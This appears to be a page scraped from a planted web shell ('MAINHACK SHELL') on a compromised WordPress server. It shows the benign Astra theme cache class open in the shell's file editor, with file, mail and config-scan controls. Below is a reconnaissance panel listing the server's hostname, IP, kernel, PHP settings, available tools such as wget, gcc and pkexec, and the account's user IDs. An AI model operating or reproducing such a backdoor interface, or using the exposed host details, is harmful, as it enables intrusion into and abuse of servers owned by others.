[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-astra-cache.php
<?php /** * Astra Addon Cache * * @package Astra * @link https://www.brainstormforce.com * @since Astra 2.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Astra_Cache */ // @codingStandardsIgnoreStart class Astra_Cache extends Astra_Cache_Base { // @codingStandardsIgnoreEnd /** * Member Variable * * @var array instance */ private static $dynamic_css_files = array(); /** * Cache directory. * * @since 2.1.0 * @var String */ private $cache_dir; /** * Constructor * * @since 2.1.0 * @param String $cache_dir Base cache directory in the uploads directory. */ public function __construct( $cache_dir ) { $this->cache_dir = $cache_dir; $this->asset_priority = 2; parent::__construct( $cache_dir ); // Triggers on click on refresh/ recheck button. add_action( 'wp_ajax_astra_refresh_assets_files', array( $this, 'addon_refresh_assets' ) ); add_action( 'save_post', array( $this, 'astra_refresh_assets' ) ); add_action( 'post_updated', array( $this, 'astra_refresh_assets' ) ); add_action( 'customize_save', array( $this, 'astra_refresh_assets' ) ); } /** * Create an array of all the files that needs to be merged in dynamic CSS file. * * @since 2.1.0 * @param array $file file path. * @return void */ public static function add_css_file( $file ) { self::$dynamic_css_files[] = $file; } /** * Get dynamic CSS * * @since 2.1.0 * @return String Dynamic CSS */ protected function get_dynamic_css() { $theme_css_data = apply_filters( 'astra_dynamic_theme_css', '' ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound $theme_css_data .= $this->get_css_from_files( self::$dynamic_css_files ); return Astra_Enqueue_Scripts::trim_css( $theme_css_data ); } /** * Fetch theme CSS data to be added in the dynamic CSS file. * * @since 2.1.0 * @return void */ public function setup_cache() { $assets_info = $this->get_asset_info( 'theme' ); if ( array_key_exists( 'path', $assets_info ) && ! file_exists( $assets_info['path'] ) && ! self::inline_assets() ) { $theme_css_data = $this->get_dynamic_css(); // Return if there is no data to add in the css file. if ( empty( $theme_css_data ) ) { return; } $this->write_assets( $theme_css_data, 'theme' ); } if ( true === Astra_Enqueue_Scripts::enqueue_theme_assets() ) { // Call enqueue styles function. $this->enqueue_styles( 'theme' ); } } /** * Refresh Assets. * * @since 2.1.0 * @return void */ public function astra_refresh_assets() { parent::refresh_assets( $this->cache_dir ); } /** * Refresh Assets, called through ajax * * @since 2.1.0 * @return void */ public function addon_refresh_assets() { parent::ajax_refresh_assets( $this->cache_dir ); } } new Astra_Cache( 'astra' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 215.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042